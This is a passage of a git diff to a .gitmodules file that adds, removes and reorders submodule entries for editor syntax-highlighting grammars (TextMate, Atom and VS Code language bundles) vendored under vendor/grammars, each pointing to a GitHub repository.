+	path = vendor/grammars/SublimePuppet
+	url = https://github.com/russCloak/SublimePuppet
 [submodule "vendor/grammars/SublimeXtend"]
 	path = vendor/grammars/SublimeXtend
 	url = https://github.com/staltz/SublimeXtend
-[submodule "vendor/grammars/Vala-TMBundle"]
-	path = vendor/grammars/Vala-TMBundle
-	url = https://github.com/technosophos/Vala-TMBundle
-[submodule "vendor/grammars/ant.tmbundle"]
+[submodule "vendor/grammars/Syntax-highlighting-for-PostCSS"]
+	path = vendor/grammars/Syntax-highlighting-for-PostCSS
+	url = https://github.com/hudochenkov/Syntax-highlighting-for-PostCSS
+[submodule "vendor/grammars/SystemVerilog"]
+	path = vendor/grammars/SystemVerilog
+	url = https://github.com/TheClams/SystemVerilog
+[submodule "vendor/grammars/TLA"]
+	path = vendor/grammars/TLA
+	url = https://github.com/agentultra/TLAGrammar
+[submodule "vendor/grammars/TXL"]
+	path = vendor/grammars/TXL
+	url = https://github.com/MikeHoffert/Sublime-Text-TXL-syntax
+[submodule "vendor/grammars/Textmate-Gosu-Bundle"]
+	path = vendor/grammars/Textmate-Gosu-Bundle
+	url = https://github.com/jpcamara/Textmate-Gosu-Bundle
+[submodule "vendor/grammars/TypeScript-TmLanguage"]
+	path = vendor/grammars/TypeScript-TmLanguage
+	url = https://github.com/Microsoft/TypeScript-TmLanguage
+[submodule "vendor/grammars/UrWeb-Language-Definition"]
+	path = vendor/grammars/UrWeb-Language-Definition
+	url = https://github.com/gwalborn/UrWeb-Language-Definition.git
+[submodule "vendor/grammars/VBDotNetSyntax"]
+	path = vendor/grammars/VBDotNetSyntax
+	url = https://github.com/peters-ben-0007/VBDotNetSyntax.git
+[submodule "vendor/grammars/Vala-TMBundle"]
+	path = vendor/grammars/Vala-TMBundle
+	url = https://github.com/technosophos/Vala-TMBundle
+[submodule "vendor/grammars/VscodeAdblockSyntax"]
+	path = vendor/grammars/VscodeAdblockSyntax
+	url = https://github.com/AdguardTeam/VscodeAdblockSyntax.git
+[submodule "vendor/grammars/WhileySyntaxBundle"]
+	path = vendor/grammars/WhileySyntaxBundle
+	url = https://github.com/Whiley/WhileySyntaxBundle.git
+[submodule "vendor/grammars/X10"]
+	path = vendor/grammars/X10
+	url = https://github.com/x10-lang/x10-highlighting
+[submodule "vendor/grammars/XojoSyntaxTM"]
+	path = vendor/grammars/XojoSyntaxTM
+	url = https://github.com/jimmckay/XojoSyntaxTM
+[submodule "vendor/grammars/ZenScript-tmLanguage"]
+	path = vendor/grammars/ZenScript-tmLanguage
+	url = https://github.com/CraftTweaker/ZenScript-tmLanguage
+[submodule "vendor/grammars/abap-cds-grammar"]
+	path = vendor/grammars/abap-cds-grammar
+	url = https://github.com/FreHu/abap-cds-grammar
+[submodule "vendor/grammars/abap.tmbundle"]
+	path = vendor/grammars/abap.tmbundle
+	url = https://github.com/pvl/abap.tmbundle
+[submodule "vendor/grammars/abl-tmlanguage"]
+	path = vendor/grammars/abl-tmlanguage
+	url = https://github.com/chriscamicas/abl-tmlanguage
+[submodule "vendor/grammars/actionscript3-tmbundle"]
+	path = vendor/grammars/actionscript3-tmbundle
+	url = https://github.com/simongregory/actionscript3-tmbundle
+[submodule "vendor/grammars/ada.tmbundle"]
+	path = vendor/grammars/ada.tmbundle
+	url = https://github.com/textmate/ada.tmbundle
+[submodule "vendor/grammars/agda-github-syntax-highlighting"]
+	path = vendor/grammars/agda-github-syntax-highlighting
+	url = https://github.com/agda/agda-github-syntax-highlighting
+[submodule "vendor/grammars/aidl-language"]
+	path = vendor/grammars/aidl-language
+	url = https://github.com/google/aidl-language
+[submodule "vendor/grammars/ampl"]
+	path = vendor/grammars/ampl
+	url = https://github.com/ampl/sublime-ampl
+[submodule "vendor/grammars/android-system-tools"]
+	path = vendor/grammars/android-system-tools
+	url = https://github.com/flimberger/android-system-tools
+[submodule "vendor/grammars/ant.tmbundle"]
 	path = vendor/grammars/ant.tmbundle
 	url = https://github.com/textmate/ant.tmbundle
 [submodule "vendor/grammars/antlr.tmbundle"]
@@ -232,526 +263,1168 @@
 [submodule "vendor/grammars/apache.tmbundle"]
 	path = vendor/grammars/apache.tmbundle
 	url = https://github.com/textmate/apache.tmbundle
+[submodule "vendor/grammars/apex-tmLanguage"]
+	path = vendor/grammars/apex-tmLanguage
+	url = https://github.com/forcedotcom/apex-tmLanguage.git
+[submodule "vendor/grammars/api-blueprint-sublime-plugin"]
+	path = vendor/grammars/api-blueprint-sublime-plugin
+	url = https://github.com/apiaryio/api-blueprint-sublime-plugin
 [submodule "vendor/grammars/applescript.tmbundle"]
 	path = vendor/grammars/applescript.tmbundle
 	url = https://github.com/textmate/applescript.tmbundle
+[submodule "vendor/grammars/asciidoc.tmbundle"]
+	path = vendor/grammars/asciidoc.tmbundle
+	url = https://github.com/zuckschwerdt/asciidoc.tmbundle
 [submodule "vendor/grammars/asp.tmbundle"]
 	path = vendor/grammars/asp.tmbundle
 	url = https://github.com/textmate/asp.tmbundle
-[submodule "vendor/grammars/bison.tmbundle"]
-	path = vendor/grammars/bison.tmbundle
-	url = https://github.com/textmate/bison.tmbundle
+[submodule "vendor/grammars/assembly"]
+	path = vendor/grammars/assembly
+	url = https://github.com/nanoant/assembly.tmbundle
+[submodule "vendor/grammars/astro"]
+	path = vendor/grammars/astro
+	url = https://github.com/withastro/language-tools.git
+[submodule "vendor/grammars/atom-editorconfig"]
+	path = vendor/grammars/atom-editorconfig
+	url = https://github.com/sindresorhus/atom-editorconfig
+[submodule "vendor/grammars/atom-firestore-grammar"]
+	path = vendor/grammars/atom-firestore-grammar
+	url = https://github.com/jaysquared/atom-firestore-grammar
+[submodule "vendor/grammars/atom-fstar"]
+	path = vendor/grammars/atom-fstar
+	url = https://github.com/FStarLang/atom-fstar
+[submodule "vendor/grammars/atom-language-1c-bsl"]
+	path = vendor/grammars/atom-language-1c-bsl
+	url = https://github.com/xDrivenDevelopment/atom-language-1c-bsl.git
+[submodule "vendor/grammars/atom-language-clean"]
+	path = vendor/grammars/atom-language-clean
+	url = https://github.com/timjs/atom-language-clean.git
+[submodule "vendor/grammars/atom-language-haproxy"]
+	path = vendor/grammars/atom-language-haproxy
+	url = https://github.com/abulimov/atom-language-haproxy
+[submodule "vendor/grammars/atom-language-innosetup"]
+	path = vendor/grammars/atom-language-innosetup
+	url = https://github.com/idleberg/atom-language-innosetup
+[submodule "vendor/grammars/atom-language-julia"]
+	path = vendor/grammars/atom-language-julia
+	url = https://github.com/JuliaEditorSupport/atom-language-julia
+[submodule "vendor/grammars/atom-language-nextflow"]
+	path = vendor/grammars/atom-language-nextflow
+	url = https://github.com/nextflow-io/atom-language-nextflow
+[submodule "vendor/grammars/atom-language-p4"]
+	path = vendor/grammars/atom-language-p4
+	url = https://github.com/TakeshiTseng/atom-language-p4
+[submodule "vendor/grammars/atom-language-perl6"]
+	path = vendor/grammars/atom-language-perl6
+	url = https://github.com/perl6/atom-language-perl6
+[submodule "vendor/grammars/atom-language-purescript"]
+	path = vendor/grammars/atom-language-purescript
+	url = https://github.com/purescript-contrib/atom-language-purescript
+[submodule "vendor/grammars/atom-language-stan"]
+	path = vendor/grammars/atom-language-stan
+	url = https://github.com/stan-dev/atom-language-stan.git
+[submodule "vendor/grammars/atom-miniyaml"]
+	path = vendor/grammars/atom-miniyaml
+	url = https://github.com/OpenRA/atom-miniyaml.git
+[submodule "vendor/grammars/atom-salt"]
+	path = vendor/grammars/atom-salt
+	url = https://github.com/saltstack/atom-salt
+[submodule "vendor/grammars/ats"]
+	path = vendor/grammars/ats
+	url = https://github.com/steinwaywhw/ats-mode-sublimetext
+[submodule "vendor/grammars/avro.tmLanguage"]
+	path = vendor/grammars/avro.tmLanguage
+	url = https://github.com/Jason3S/avro.tmLanguage
+[submodule "vendor/grammars/awk-sublime"]
+	path = vendor/grammars/awk-sublime
+	url = https://github.com/github-linguist/awk-sublime
+[submodule "vendor/grammars/ballerina-grammar"]
+	path = vendor/grammars/ballerina-grammar
+	url = https://github.com/ballerina-platform/ballerina-grammar
+[submodule "vendor/grammars/berry-grammar"]
+	path = vendor/grammars/berry-grammar
+	url = https://github.com/berry-lang/berry-grammar.git
+[submodule "vendor/grammars/bicep"]
+	path = vendor/grammars/bicep
+	url = https://github.com/azure/bicep
+[submodule "vendor/grammars/bikeshed"]
+	path = vendor/grammars/bikeshed
+	url = https://github.com/tabatkins/bikeshed.git
+[submodule "vendor/grammars/blitzmax"]
+	path = vendor/grammars/blitzmax
+	url = https://github.com/textmate/blitzmax.tmbundle
+[submodule "vendor/grammars/boogie-vscode"]
+	path = vendor/grammars/boogie-vscode
+	url = https://github.com/boogie-org/boogie-vscode
+[submodule "vendor/grammars/bqn-vscode"]
+	path = vendor/grammars/bqn-vscode
+	url = https://github.com/razetime/bqn-vscode.git
+[submodule "vendor/grammars/browserslist-vscode"]
+	path = vendor/grammars/browserslist-vscode
+	url = https://github.com/browserslist/browserslist-vscode
+[submodule "vendor/grammars/c.tmbundle"]
+	path = vendor/grammars/c.tmbundle
+	url = https://github.com/textmate/c.tmbundle
+[submodule "vendor/grammars/cairo-tm-grammar"]
+	path = vendor/grammars/cairo-tm-grammar
+	url = https://github.com/software-mansion-labs/cairo-tm-grammar.git
 [submodule "vendor/grammars/capnproto.tmbundle"]
 	path = vendor/grammars/capnproto.tmbundle
 	url = https://github.com/textmate/capnproto.tmbundle
+[submodule "vendor/grammars/carto-atom"]
+	path = vendor/grammars/carto-atom
+	url = https://github.com/yohanboniface/carto-atom
+[submodule "vendor/grammars/cds-textmate-grammar"]
+	path = vendor/grammars/cds-textmate-grammar
+	url = https://github.com/SAP/cds-textmate-grammar.git
+[submodule "vendor/grammars/ceylon-sublimetext"]
+	path = vendor/grammars/ceylon-sublimetext
+	url = https://github.com/jeancharles-roger/ceylon-sublimetext
+[submodule "vendor/grammars/chapel-tmbundle"]
+	path = vendor/grammars/chapel-tmbundle
+	url = https://github.com/chapel-lang/chapel-tmbundle
+[submodule "vendor/grammars/circom-highlighting-vscode"]
+	path = vendor/grammars/circom-highlighting-vscode
+	url = https://github.com/iden3/circom-highlighting-vscode.git
+[submodule "vendor/grammars/clarity.tmbundle"]
+	path = vendor/grammars/clarity.tmbundle
+	url = https://github.com/hirosystems/clarity.tmbundle.git
 [submodule "vendor/grammars/cmake.tmbundle"]
 	path = vendor/grammars/cmake.tmbundle
 	url = https://github.com/textmate/cmake.tmbundle
+[submodule "vendor/grammars/code-peggy-language"]
+	path = vendor/grammars/code-peggy-language
+	url = https://github.com/peggyjs/code-peggy-language.git
+[submodule "vendor/grammars/common-lisp-tmlanguage"]
+	path = vendor/grammars/common-lisp-tmlanguage
+	url = https://github.com/qingpeng9802/common-lisp-tmlanguage.git
+[submodule "vendor/grammars/conllu-linguist-grammar"]
+	path = vendor/grammars/conllu-linguist-grammar
+	url = https://github.com/odanoburu/conllu-linguist-grammar
+[submodule "vendor/grammars/cool-tmbundle"]
+	path = vendor/grammars/cool-tmbundle
+	url = https://github.com/anunayk/cool-tmbundle
 [submodule "vendor/grammars/cpp-qt.tmbundle"]
 	path = vendor/grammars/cpp-qt.tmbundle
 	url = https://github.com/textmate/cpp-qt.tmbundle
-[submodule "vendor/grammars/css.tmbundle"]
-	path = vendor/grammars/css.tmbundle
-	url = https://github.com/textmate/css.tmbundle
+[submodule "vendor/grammars/creole"]
+	path = vendor/grammars/creole
+	url = https://github.com/Siddley/Creole
+[submodule "vendor/grammars/cron.tmbundle"]
+	path = vendor/grammars/cron.tmbundle
+	url = https://github.com/textmate/cron.tmbundle
+[submodule "vendor/grammars/csharp-tmLanguage"]
+	path = vendor/grammars/csharp-tmLanguage
+	url = https://github.com/dotnet/csharp-tmLanguage
+[submodule "vendor/grammars/cucumber-tmbundle"]
+	path = vendor/grammars/cucumber-tmbundle
+	url = https://github.com/cucumber/cucumber-tmbundle
+[submodule "vendor/grammars/cython"]
+	path = vendor/grammars/cython
+	url = https://github.com/textmate/cython.tmbundle
 [submodule "vendor/grammars/d.tmbundle"]
 	path = vendor/grammars/d.tmbundle
 	url = https://github.com/textmate/d.tmbundle
+[submodule "vendor/grammars/d2-vscode"]
+	path = vendor/grammars/d2-vscode
+	url = https://github.com/terrastruct/d2-vscode.git
+[submodule "vendor/grammars/dart-syntax-highlight"]
+	path = vendor/grammars/dart-syntax-highlight
+	url = https://github.com/dart-lang/dart-syntax-highlight
+[submodule "vendor/grammars/data-weave-tmLanguage"]
+	path = vendor/grammars/data-weave-tmLanguage
+	url = https://github.com/mulesoft-labs/data-weave-tmLanguage
+[submodule "vendor/grammars/denizenscript-grammar"]
+	path = vendor/grammars/denizenscript-grammar
+	url = https://github.com/DenizenScript/denizenscript-grammar.git
+[submodule "vendor/grammars/desktop.tmbundle"]
+	path = vendor/grammars/desktop.tmbundle
+	url = https://github.com/Mailaender/desktop.tmbundle.git
 [submodule "vendor/grammars/diff.tmbundle"]
 	path = vendor/grammars/diff.tmbundle
 	url = https://github.com/textmate/diff.tmbundle
+[submodule "vendor/grammars/dm-syntax"]
+	path = vendor/grammars/dm-syntax
+	url = https://github.com/spacestation13/dm-syntax.git
 [submodule "vendor/grammars/dylan.tmbundle"]
 	path = vendor/grammars/dylan.tmbundle
 	url = https://github.com/textmate/dylan.tmbundle
+[submodule "vendor/grammars/earthfile-grammar"]
+	path = vendor/grammars/earthfile-grammar
+	url = https://github.com/earthly/earthfile-grammar.git
+[submodule "vendor/grammars/ec.tmbundle"]
+	path = vendor/grammars/ec.tmbundle
+	url = https://github.com/ecere/ec.tmbundle
+[submodule "vendor/grammars/ecl-tmLanguage"]
+	path = vendor/grammars/ecl-tmLanguage
+	url = https://github.com/hpcc-systems/ecl-tmLanguage
+[submodule "vendor/grammars/edge-vscode"]
+	path = vendor/grammars/edge-vscode
+	url = https://github.com/edge-js/edge-vscode.git
+[submodule "vendor/grammars/edgedb-editor-plugin"]
+	path = vendor/grammars/edgedb-editor-plugin
+	url = https://github.com/edgedb/edgedb-editor-plugin.git
 [submodule "vendor/grammars/eiffel.tmbundle"]
 	path = vendor/grammars/eiffel.tmbundle
 	url = https://github.com/textmate/eiffel.tmbundle
+[submodule "vendor/grammars/ejs-tmbundle"]
+	path = vendor/grammars/ejs-tmbundle
+	url = https://github.com/gregory-m/ejs-tmbundle
+[submodule "vendor/grammars/elixir-tmbundle"]
+	path = vendor/grammars/elixir-tmbundle
+	url = https://github.com/elixir-lang/elixir-tmbundle
+[submodule "vendor/grammars/elvish"]
+	path = vendor/grammars/elvish
+	url = https://github.com/elves/elvish.git
 [submodule "vendor/grammars/erlang.tmbundle"]
 	path = vendor/grammars/erlang.tmbundle
 	url = https://github.com/textmate/erlang.tmbundle
+[submodule "vendor/grammars/factor"]
+	path = vendor/grammars/factor
+	url = https://github.com/slavapestov/factor
+[submodule "vendor/grammars/fancy-tmbundle"]
+	path = vendor/grammars/fancy-tmbundle
+	url = https://github.com/fancy-lang/fancy-tmbundle
+[submodule "vendor/grammars/firrtl-syntax"]
+	path = vendor/grammars/firrtl-syntax
+	url = https://github.com/chipsalliance/firrtl-syntax.git
+[submodule "vendor/grammars/fish-tmbundle"]
+	path = vendor/grammars/fish-tmbundle
+	url = https://github.com/l15n/fish-tmbundle
+[submodule "vendor/grammars/forth"]
+	path = vendor/grammars/forth
+	url = https://github.com/textmate/forth.tmbundle
 [submodule "vendor/grammars/fortran.tmbundle"]
 	path = vendor/grammars/fortran.tmbundle
 	url = https://github.com/textmate/fortran.tmbundle
+[submodule "vendor/grammars/gap-tmbundle"]
+	path = vendor/grammars/gap-tmbundle
+	url = https://github.com/dhowden/gap-tmbundle
+[submodule "vendor/grammars/gemfile-lock-tmlanguage"]
+	path = vendor/grammars/gemfile-lock-tmlanguage
+	url = https://github.com/hmarr/gemfile-lock-tmlanguage
+[submodule "vendor/grammars/gemini-vscode"]
+	path = vendor/grammars/gemini-vscode
+	url = https://github.com/printfn/gemini-vscode.git
 [submodule "vendor/grammars/gettext.tmbundle"]
 	path = vendor/grammars/gettext.tmbundle
 	url = https://github.com/textmate/gettext.tmbundle
+[submodule "vendor/grammars/gnuplot-tmbundle"]
+	path = vendor/grammars/gnuplot-tmbundle
+	url = https://github.com/mattfoster/gnuplot-tmbundle
+[submodule "vendor/grammars/go-tmbundle"]
+	path = vendor/grammars/go-tmbundle
+	url = https://github.com/AlanQuatermain/go-tmbundle
+[submodule "vendor/grammars/godot-vscode-plugin"]
+	path = vendor/grammars/godot-vscode-plugin
+	url = https://github.com/godotengine/godot-vscode-plugin
+[submodule "vendor/grammars/grace"]
+	path = vendor/grammars/grace
+	url = https://github.com/zmthy/grace-tmbundle
+[submodule "vendor/grammars/gradle.tmbundle"]
+	path = vendor/grammars/gradle.tmbundle
+	url = https://github.com/alkemist/gradle.tmbundle
+[submodule "vendor/grammars/graphiql"]
+	path = vendor/grammars/graphiql
+	url = https://github.com/graphql/graphiql.git
 [submodule "vendor/grammars/graphviz.tmbundle"]
 	path = vendor/grammars/graphviz.tmbundle
 	url = https://github.com/textmate/graphviz.tmbundle
 [submodule "vendor/grammars/groovy.tmbundle"]
 	path = vendor/grammars/groovy.tmbundle
 	url = https://github.com/textmate/groovy.tmbundle
-[submodule "vendor/grammars/haskell.tmbundle"]
-	path = vendor/grammars/haskell.tmbundle
-	url = https://github.com/textmate/haskell.tmbundle
-[submodule "vendor/grammars/html.tmbundle"]
-	path = vendor/grammars/html.tmbundle
-	url = https://github.com/textmate/html.tmbundle
+[submodule "vendor/grammars/haxe-TmLanguage"]
+	path = vendor/grammars/haxe-TmLanguage
+	url = https://github.com/vshaxe/haxe-TmLanguage
+[submodule "vendor/grammars/holyc.tmbundle"]
+	path = vendor/grammars/holyc.tmbundle
+	url = https://github.com/codingdandy/holyc.tmbundle
+[submodule "vendor/grammars/hoon-grammar"]
+	path = vendor/grammars/hoon-grammar
+	url = https://github.com/pkova/hoon-grammar.git
+[submodule "vendor/grammars/iCalendar-sublime"]
+	path = vendor/grammars/iCalendar-sublime
+	url = https://github.com/kimsey0/iCalendar-sublime.git
+[submodule "vendor/grammars/ide-tools"]
+	path = vendor/grammars/ide-tools
+	url = https://github.com/toitware/ide-tools.git
+[submodule "vendor/grammars/idl.tmbundle"]
+	path = vendor/grammars/idl.tmbundle
+	url = https://github.com/mgalloy/idl.tmbundle
+[submodule "vendor/grammars/idris"]
+	path = vendor/grammars/idris
+	url = https://github.com/idris-hackers/idris-sublime.git
+[submodule "vendor/grammars/imba-linguist-grammar"]
+	path = vendor/grammars/imba-linguist-grammar
+	url = https://github.com/imba/imba-linguist-grammar.git
 [submodule "vendor/grammars/ini.tmbundle"]
 	path = vendor/grammars/ini.tmbundle
 	url = https://github.com/textmate/ini.tmbundle
-[submodule "vendor/grammars/desktop.tmbundle"]
-	path = vendor/grammars/desktop.tmbundle
-	url = https://github.com/Mailaender/desktop.tmbundle.git
+[submodule "vendor/grammars/ink-tmlanguage"]
+	path = vendor/grammars/ink-tmlanguage
+	url = https://github.com/inkle/ink-tmlanguage.git
 [submodule "vendor/grammars/io.tmbundle"]
 	path = vendor/grammars/io.tmbundle
 	url = https://github.com/textmate/io.tmbundle
+[submodule "vendor/grammars/ioke-outdated"]
+	path = vendor/grammars/ioke-outdated
+	url = https://github.com/vic/ioke-outdated
+[submodule "vendor/grammars/ionide-fsgrammar"]
+	path = vendor/grammars/ionide-fsgrammar
+	url = https://github.com/ionide/ionide-fsgrammar
+[submodule "vendor/grammars/jade-tmbundle"]
+	path = vendor/grammars/jade-tmbundle
+	url = https://github.com/davidrios/jade-tmbundle
+[submodule "vendor/grammars/jasmin-sublime"]
+	path = vendor/grammars/jasmin-sublime
+	url = https://github.com/atmarksharp/jasmin-sublime
 [submodule "vendor/grammars/java.tmbundle"]
 	path = vendor/grammars/java.tmbundle
 	url = https://github.com/textmate/java.tmbundle
+[submodule "vendor/grammars/javadoc.tmbundle"]
+	path = vendor/grammars/javadoc.tmbundle
+	url = https://github.com/textmate/javadoc.tmbundle
 [submodule "vendor/grammars/javascript-objective-j.tmbundle"]
 	path = vendor/grammars/javascript-objective-j.tmbundle
 	url = https://github.com/textmate/javascript-objective-j.tmbundle
-[submodule "vendor/grammars/json.tmbundle"]
-	path = vendor/grammars/json.tmbundle
-	url = https://github.com/textmate/json.tmbundle
+[submodule "vendor/grammars/jflex.tmbundle"]
+	path = vendor/grammars/jflex.tmbundle
+	url = https://github.com/jflex-de/jflex.tmbundle.git
+[submodule "vendor/grammars/jte-template-syntax-highlight"]
+	path = vendor/grammars/jte-template-syntax-highlight
+	url = https://github.com/maj2c/jte-template-syntax-highlight.git
+[submodule "vendor/grammars/kivy-language-grammer"]
+	path = vendor/grammars/kivy-language-grammer
+	url = https://github.com/p0lygun/kivy-language-grammer.git
+[submodule "vendor/grammars/kusto-sublime"]
+	path = vendor/grammars/kusto-sublime
+	url = https://github.com/mmanela/kusto-sublime.git
+[submodule "vendor/grammars/lang-4d"]
+	path = vendor/grammars/lang-4d
+	url = https://github.com/ayoubserti/lang-4d
+[submodule "vendor/grammars/language-agc"]
+	path = vendor/grammars/language-agc
+	url = https://github.com/Alhadis/language-agc
+[submodule "vendor/grammars/language-apl"]
+	path = vendor/grammars/language-apl
+	url = https://github.com/Alhadis/language-apl.git
+[submodule "vendor/grammars/language-asl"]
+	path = vendor/grammars/language-asl
+	url = https://github.com/sebadur/language-asl
+[submodule "vendor/grammars/language-asn1"]
+	path = vendor/grammars/language-asn1
+	url = https://github.com/ajlangley/language-asn1
+[submodule "vendor/grammars/language-basic"]
+	path = vendor/grammars/language-basic
+	url = https://github.com/telnet23/language-basic
+[submodule "vendor/grammars/language-batchfile"]
+	path = vendor/grammars/language-batchfile
+	url = https://github.com/mmims/language-batchfile
+[submodule "vendor/grammars/language-bh"]
+	path = vendor/grammars/language-bh
+	url = https://github.com/B-Lang-org/language-bh.git
+[submodule "vendor/grammars/language-blade"]
+	path = vendor/grammars/language-blade
+	url = https://github.com/jawee/language-blade
+[submodule "vendor/grammars/language-click"]
+	path = vendor/grammars/language-click
+	url = https://github.com/stenverbois/language-click.git
+[submodule "vendor/grammars/language-clojure"]
+	path = vendor/grammars/language-clojure
+	url = https://github.com/atom/language-clojure
+[submodule "vendor/grammars/language-closure-templates"]
+	path = vendor/grammars/language-closure-templates
+	url = https://github.com/mthadley/language-closure-templates
+[submodule "vendor/grammars/language-coffee-script"]
+	path = vendor/grammars/language-coffee-script
+	url = https://github.com/atom/language-coffee-script
+[submodule "vendor/grammars/language-crystal"]
+	path = vendor/grammars/language-crystal
+	url = https://github.com/atom-crystal/language-crystal
+[submodule "vendor/grammars/language-csound"]
+	path = vendor/grammars/language-csound
+	url = https://github.com/nwhetsell/language-csound
+[submodule "vendor/grammars/language-css"]
+	path = vendor/grammars/language-css
+	url = https://github.com/atom/language-css
+[submodule "vendor/grammars/language-cwl"]
+	path = vendor/grammars/language-cwl
+	url = https://github.com/manabuishii/language-cwl
+[submodule "vendor/grammars/language-debian"]
+	path = vendor/grammars/language-debian
+	url = https://github.com/tsbarnes/language-debian.git
+[submodule "vendor/grammars/language-dircolors"]
+	path = vendor/grammars/language-dircolors
+	url = https://github.com/jolkdarr/language-dircolors
+[submodule "vendor/grammars/language-emacs-lisp"]
+	path = vendor/grammars/language-emacs-lisp
+	url = https://github.com/Alhadis/language-emacs-lisp
+[submodule "vendor/grammars/language-eml"]
+	path = vendor/grammars/language-eml
+	url = https://github.com/mariozaizar/language-eml
+[submodule "vendor/grammars/language-etc"]
+	path = vendor/grammars/language-etc
+	url = https://github.com/Alhadis/language-etc
+[submodule "vendor/grammars/language-faust"]
+	path = vendor/grammars/language-faust
+	url = https://github.com/jpcima/language-faust
+[submodule "vendor/grammars/language-fontforge"]
+	path = vendor/grammars/language-fontforge
+	url = https://github.com/Alhadis/language-fontforge
+[submodule "vendor/grammars/language-gf"]
+	path = vendor/grammars/language-gf
+	url = https://github.com/johnjcamilleri/language-gf
+[submodule "vendor/grammars/language-gn"]
+	path = vendor/grammars/language-gn
+	url = https://github.com/devoncarew/language-gn
+[submodule "vendor/grammars/language-grammars"]
+	path = vendor/grammars/language-grammars
+	url = https://github.com/Alhadis/language-grammars
+[submodule "vendor/grammars/language-haml"]
+	path = vendor/grammars/language-haml
+	url = https://github.com/ezekg/language-haml
+[submodule "vendor/grammars/language-haskell"]
+	path = vendor/grammars/language-haskell
+	url = https://github.com/atom-haskell/language-haskell
+[submodule "vendor/grammars/language-hocon"]
+	path = vendor/grammars/language-hocon
+	url = https://github.com/jacobwgillespie/language-hocon.git
+[submodule "vendor/grammars/language-hql"]
+	path = vendor/grammars/language-hql
+	url = https://github.com/adidonato/language-hql
+[submodule "vendor/grammars/language-html"]
+	path = vendor/grammars/language-html
+	url = https://github.com/atom/language-html
+[submodule "vendor/grammars/language-igor"]
+	path = vendor/grammars/language-igor
+	url = https://github.com/byte-physics/language-igor
+[submodule "vendor/grammars/language-inform7"]
+	path = vendor/grammars/language-inform7
+	url = https://github.com/iftechfoundation/language-inform7.git
+[submodule "vendor/grammars/language-javascript"]
+	path = vendor/grammars/language-javascript
+	url = https://github.com/atom/language-javascript
+[submodule "vendor/grammars/language-jison"]
+	path = vendor/grammars/language-jison
+	url = https://github.com/cdibbs/language-jison
+[submodule "vendor/grammars/language-jolie"]
+	path = vendor/grammars/language-jolie
+	url = https://github.com/fmontesi/language-jolie
+[submodule "vendor/grammars/language-jq"]
+	path = vendor/grammars/language-jq
+	url = https://github.com/wader/language-jq
+[submodule "vendor/grammars/language-jsoniq"]
+	path = vendor/grammars/language-jsoniq
+	url = https://github.com/wcandillon/language-jsoniq
+[submodule "vendor/grammars/language-jsonnet"]
+	path = vendor/grammars/language-jsonnet
+	url = https://github.com/google/language-jsonnet
+[submodule "vendor/grammars/language-kak"]
+	path = vendor/grammars/language-kak
+	url = https://github.com/kakoune-editor/language-kak
+[submodule "vendor/grammars/language-kerboscript"]
+	path = vendor/grammars/language-kerboscript
+	url = https://github.com/KSP-KOS/language-kerboscript.git
+[submodule "vendor/grammars/language-kickstart"]
+	path = vendor/grammars/language-kickstart
+	url = https://github.com/wgwoods/language-kickstart.git
+[submodule "vendor/grammars/language-kotlin"]
+	path = vendor/grammars/language-kotlin
+	url = https://github.com/nishtahir/language-kotlin
+[submodule "vendor/grammars/language-less"]
+	path = vendor/grammars/language-less
+	url = https://github.com/atom/language-less.git
+[submodule "vendor/grammars/language-m68k"]
+	path = vendor/grammars/language-m68k
+	url = https://github.com/zerkman/language-m68k
+[submodule "vendor/grammars/language-macaulay2"]
+	path = vendor/grammars/language-macaulay2
+	url = https://github.com/Macaulay2/language-macaulay2
+[submodule "vendor/grammars/language-maxscript"]
+	path = vendor/grammars/language-maxscript
+	url = https://github.com/Alhadis/language-maxscript
+[submodule "vendor/grammars/language-mermaid"]
+	path = vendor/grammars/language-mermaid
+	url = https://github.com/Alhadis/language-mermaid.git
+[submodule "vendor/grammars/language-meson"]
+	path = vendor/grammars/language-meson
+	url = https://github.com/TingPing/language-meson
+[submodule "vendor/grammars/language-msl"]
+	path = vendor/grammars/language-msl
+	url = https://github.com/gen-angry/language-msl
+[submodule "vendor/grammars/language-ncl"]
+	path = vendor/grammars/language-ncl
+	url = https://github.com/rpavlick/language-ncl.git
+[submodule "vendor/grammars/language-ninja"]
+	path = vendor/grammars/language-ninja
+	url = https://github.com/khyo/language-ninja
+[submodule "vendor/grammars/language-nunjucks"]
+	path = vendor/grammars/language-nunjucks
+	url = https://github.com/alohaas/language-nunjucks
+[submodule "vendor/grammars/language-pan"]
+	path = vendor/grammars/language-pan
+	url = https://github.com/quattor/language-pan
+[submodule "vendor/grammars/language-pcb"]
+	path = vendor/grammars/language-pcb
+	url = https://github.com/Alhadis/language-pcb
+[submodule "vendor/grammars/language-povray"]
+	path = vendor/grammars/language-povray
+	url = https://github.com/c-lipka/language-povray
+[submodule "vendor/grammars/language-property-list"]
+	path = vendor/grammars/language-property-list
+	url = https://github.com/atom/language-property-list
+[submodule "vendor/grammars/language-pyret"]
+	path = vendor/grammars/language-pyret
+	url = https://github.com/samuela/language-pyret
+[submodule "vendor/grammars/language-qasm"]
+	path = vendor/grammars/language-qasm
+	url = https://github.com/tareqdandachi/language-qasm
+[submodule "vendor/grammars/language-reason"]
+	path = vendor/grammars/language-reason
+	url = https://github.com/reasonml-editor/language-reason
+[submodule "vendor/grammars/language-reg"]
+	path = vendor/grammars/language-reg
+	url = https://github.com/bsara/language-reg
+[submodule "vendor/grammars/language-regexp"]
+	path = vendor/grammars/language-regexp
+	url = https://github.com/Alhadis/language-regexp
+[submodule "vendor/grammars/language-renpy"]
+	path = vendor/grammars/language-renpy
+	url = https://github.com/williamd1k0/language-renpy.git
+[submodule "vendor/grammars/language-restructuredtext"]
+	path = vendor/grammars/language-restructuredtext
+	url = https://github.com/Lukasa/language-restructuredtext
+[submodule "vendor/grammars/language-ring"]
+	path = vendor/grammars/language-ring
+	url = https://github.com/MahmoudFayed/atom-language-ring
+[submodule "vendor/grammars/language-roff"]
+	path = vendor/grammars/language-roff
+	url = https://github.com/Alhadis/language-roff
+[submodule "vendor/grammars/language-rpm-spec"]
+	path = vendor/grammars/language-rpm-spec
+	url = https://github.com/waveclaw/language-rpm-spec
+[submodule "vendor/grammars/language-rtf"]
+	path = vendor/grammars/language-rtf
+	url = https://github.com/nwhetsell/language-rtf
+[submodule "vendor/grammars/language-ruby"]
+	path = vendor/grammars/language-ruby
+	url = https://github.com/atom/language-ruby
+[submodule "vendor/grammars/language-sass"]
+	path = vendor/grammars/language-sass
+	url = https://github.com/atom/language-sass
+[submodule "vendor/grammars/language-sed"]
+	path = vendor/grammars/language-sed
+	url = https://github.com/Alhadis/language-sed
